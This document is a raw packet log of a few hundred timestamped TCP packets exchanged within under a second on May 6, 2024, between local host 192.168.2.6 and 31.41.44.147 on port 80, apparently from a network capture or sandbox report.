May 6, 2024 02:53:03.288850069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.288902998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.288943052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.288980007 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.289021015 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.289098978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.289139986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.289665937 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.289712906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.289789915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.289834976 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.291577101 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.291589022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.291649103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.293833971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.293903112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.293953896 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.293967009 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.294004917 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.294018030 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.294204950 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.294255018 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.294435978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.294481993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.295301914 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.295361042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.303842068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.303932905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.303961039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.304003000 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.304132938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.304171085 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.305505037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.305567026 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.331760883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.331773043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.331855059 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.331922054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.331968069 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.332056046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.332056046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.332530975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.332575083 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.332868099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.332916975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.333931923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.333976984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.334042072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.334086895 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.335778952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.335845947 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.335932016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.335969925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.336149931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.336190939 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.336661100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.336673021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.336704969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.336716890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.337465048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.337510109 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.345645905 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.345695972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.345782042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.345849991 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.352022886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.352071047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.373929024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374017954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.374195099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374248981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.374403954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374418020 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374449968 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.374464989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.374905109 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374918938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.374949932 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.374962091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.375588894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.375634909 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.375719070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.375761986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.376137972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.376188040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.376301050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.376341105 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.376415968 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.376457930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.378334999 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.378381014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.378473043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.378531933 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.378732920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.378779888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.378870010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.378915071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.379937887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.379981995 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.388057947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.388120890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.388140917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.388181925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.394005060 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.394052029 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.416341066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.416373014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.416506052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.416506052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.416618109 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.416666031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.416780949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.416824102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.416915894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.416960955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.417223930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.417270899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.417579889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.417624950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.417924881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.417968035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.418245077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.418291092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.418459892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.418502092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.418612003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.418657064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.420500040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.420547009 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.420569897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.420610905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.420842886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.420886993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.421042919 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.421083927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.421880007 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.421925068 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.430274010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.430288076 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.430325985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.436592102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.436657906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.458247900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.458323956 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.458560944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.458610058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.458904982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.458951950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.458981037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.459022045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.459556103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.459588051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.459623098 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.459634066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.460005045 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.460050106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.460185051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.460230112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.460717916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.460735083 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.460758924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.460777998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.460808039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.460851908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.462636948 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.462682009 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.462723970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.462768078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.463592052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.463637114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.463690996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.463736057 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.463776112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.463819981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.472472906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.472522020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.472588062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.472630978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.472754955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.472800016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.478559971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.478605986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.500758886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.500772953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.500808954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.500839949 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.501112938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.501156092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.501372099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.501499891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.501554966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.501597881 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.501666069 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.501710892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.502227068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.502240896 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.502263069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.502281904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.502863884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.502908945 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.502943993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.502979040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.503287077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.503329039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.504533052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.504578114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.504626989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.504667044 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.506417990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.506463051 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.506501913 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.506544113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.506758928 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.506803989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.507473946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.507519007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.514313936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.514369011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.514398098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.514435053 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.520992994 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.521045923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.543587923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.543603897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.543618917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.543633938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.543636084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.543657064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.543695927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.544673920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.544754982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.544780970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.544819117 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.545130968 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.545145988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.545171022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.545183897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.547467947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.547504902 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.547533989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.547545910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.547559023 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.547595024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.547660112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.547697067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.547727108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.547770977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.548304081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.548345089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.548506021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.548547029 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.548842907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.548887014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.549165964 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.549211979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.549276114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.549320936 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.549557924 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.549601078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.556540966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.556559086 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.556588888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.556613922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.563379049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.563436031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.585326910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.585381985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.585418940 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.585464954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.585699081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.585764885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.585848093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.585911989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.586776972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.586831093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.586850882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.586925030 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.587125063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.587137938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.587198973 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.589788914 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.589833021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.589873075 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.589899063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.589930058 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.589951992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.589986086 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.590035915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.590559959 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.590639114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.590862036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.590934038 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.591264009 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.591332912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.591401100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.591459036 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.591954947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.592025995 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.598731995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.598805904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.598805904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.598851919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.605343103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.605433941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.627263069 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.627321959 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.627382040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.627469063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.627717018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.628041029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.629117966 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.630115986 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.630129099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.630198956 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.630434036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.630494118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.630532026 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.630618095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.631911039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.631922960 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.631999969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.632071018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.632136106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.632256031 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.632267952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.632325888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.633249998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.633323908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.634030104 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634108067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.634167910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634232044 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.634269953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634320974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634332895 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634371042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.634464979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.634581089 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.634658098 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.640691042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.640753031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.640780926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.640815973 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.647636890 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.647785902 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.669600010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.669616938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.669780970 CEST	49718	80	192.168.2.6	31.41.44.147
